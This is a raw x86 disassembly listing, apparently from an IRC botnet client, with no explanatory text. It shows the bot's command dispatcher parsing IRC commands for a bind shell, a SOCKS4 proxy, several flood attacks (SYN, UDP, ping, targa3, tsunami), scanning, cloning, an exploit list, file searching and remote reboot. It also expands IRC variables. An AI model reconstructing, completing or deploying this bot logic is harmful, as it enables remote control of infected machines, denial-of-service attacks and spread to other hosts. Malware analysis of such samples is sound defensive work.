loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8E4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C8
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8C0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A8
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42C86C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C828

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C800
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42C7C8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C798
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C764
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA38 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C720 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA34 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA34 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C674

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C64C
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C630
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C614
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C600
		push	offset dword_42C5F4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5D4
		push	offset dword_42C5C4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5AC
		push	offset dword_42C5A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C58C
		push	offset dword_42C580
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C564
		push	offset dword_42C554
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C538
		push	offset dword_42C528
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C510
		push	offset dword_42C504
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5AC
		push	offset dword_42C5A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C58C
		push	offset dword_42C580
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4EC
		push	offset dword_42C4E0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4D4
		push	offset dword_42C4C8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C538
		push	offset dword_42C528
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C510
		push	offset dword_42C504
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B8
		push	offset dword_42C4A8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C498
		push	offset dword_42C488
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C564
		push	offset dword_42C554
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C454
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B8
		push	offset dword_42C4A8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C498
		push	offset dword_42C488
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4EC
		push	offset dword_42C4E0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4D4
		push	offset dword_42C4C8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C40C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C398
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C378
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2B4
		jnz	short loc_403191
		mov	eax, offset unk_42C28C

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
